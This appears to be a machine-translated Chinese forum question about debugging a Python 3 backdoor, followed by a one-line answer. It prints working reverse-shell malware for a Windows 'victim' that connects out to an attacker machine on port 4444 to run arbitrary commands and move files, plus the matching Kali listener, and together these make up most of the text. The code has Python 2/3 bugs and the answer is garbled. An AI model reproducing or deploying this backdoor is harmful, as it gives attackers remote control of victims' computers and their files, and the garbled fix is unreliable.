python3后门错误“没有发生类型命令”

Question

我将构建一个python3后门。受害者（使用Windows10）和我的攻击者机器（vbox kali linux 2020）之间的连接是通过分别在受害者和攻击者机器上运行自爆脚本来建立的。在我的攻击者计算机上，当我在控制台中输入类似dir的命令时，没有任何反应，它会转到下一个空白行。

软件详细信息：

Python3

pycharm社区2020

我的后门代码

这是我在受害机器上运行的后门代码（禁用防火墙/防病毒）。

操作系统细节：

Windows 10 64x

#!/usr/bin/python

import socket
import subprocess
import json
import os
import base64


class Backdoor:

    def __init__(self, ip, port):
        self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.connection.connect(("192.168.10.8", 4444))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + self.connection.recv(1024)
                return json.loads(json_data)
            except ValueError:
                continue

    def execute_system_commmand(self, command):
        return subprocess.check_output(command, shell=True)

    def change_working_directory_to(self, path):
        os.chdir(path)
        return "[+] Change working directory to " + path

    def write_file(self, path, content):
        with open(path, "wb") as file:
            file.write(base64.b64decode(content))
            return "[+] Upload Succesful"

    def read_file(self, path):
        with open(path, "rb") as file:
            return base64.b64encode(file.read())

    def run(self):
        global command_result
        while True:
            command = self.reliable_receive()

            try:
                if command[0] == "exit":
                    self.connection.close()
                    exit()
                elif command[0] == "cd" and len(command) > 1:
                    command_result = self.change_working_directory_to(command[1])
                elif command[0] == "download":
                    command_result = self.read_file(command[1])
                elif command[0] == "upload":
                    command_result = self.write_file(command[1], command[2])

                else:
                    command_result = self.execute_system_commmand(command)

            except Exception:
                command_result = "[-] Error during command Execution"
            self.reliable_send(command_result)


my_backdoor = Backdoor("192.168.10.8", 4444)
my_backdoor.run()

我的Lisener代码

这是我在攻击者计算机上运行的lisner代码os detalis

kali linux 2020

pycharm2020

#!/usr/bin/python

import socket
import json
import base64

from pip._vendor.distlib.compat import raw_input


class Listener:

    def __init__(self, ip, port):
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((ip, port))
        listener.listen(0)
        print
        "[+] Waiting for Incoming Connection"
        self.connection, address = listener.accept()
        print
        "[+] Got a Connection from " + str(address)

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data)

    def reliable_receive(self):
        json_data = ""
        while True:
            try:
                json_data = json_data + self.connection.recv(1024)
                return json.loads(json_data)
            except ValueError:
                continue

    def execute_remotely(self, command):
        self.reliable_send(command)
        if command[0] == "exit":
            self.connection.close()
            exit()

        return self.reliable_receive()

    def write_file(self, path, content):
        with open(path, "wb") as file:
            file.write(base64.b64decode(content))
            return "[+] Download Succesful"

    def read_file(self, path):
        with open(path, "rb") as file:
            return base64.b64encode(file.read())

    def run(self):
        while True:
            command = raw_input(">> ")
            command = command.split(" ")

            try:

                if command[0] == "upload":
                    file_content = self.read_file(command[1])
                    command.append(file_content)

                result = self.execute_remotely(command)

                if command[0] == "download" and "[-] Error " not in result:
                    result = self.write_file(command[1], result)

            except Exception:
                result = "[-] Error during command execution"
        print(result)


my_listener = Listener("192.168.10.8", 4444)
my_listener.run()

Answer 1

例外除外：结果=“ [-]命令执行期间出错”print（result（）） <===这样应该可以再次使用它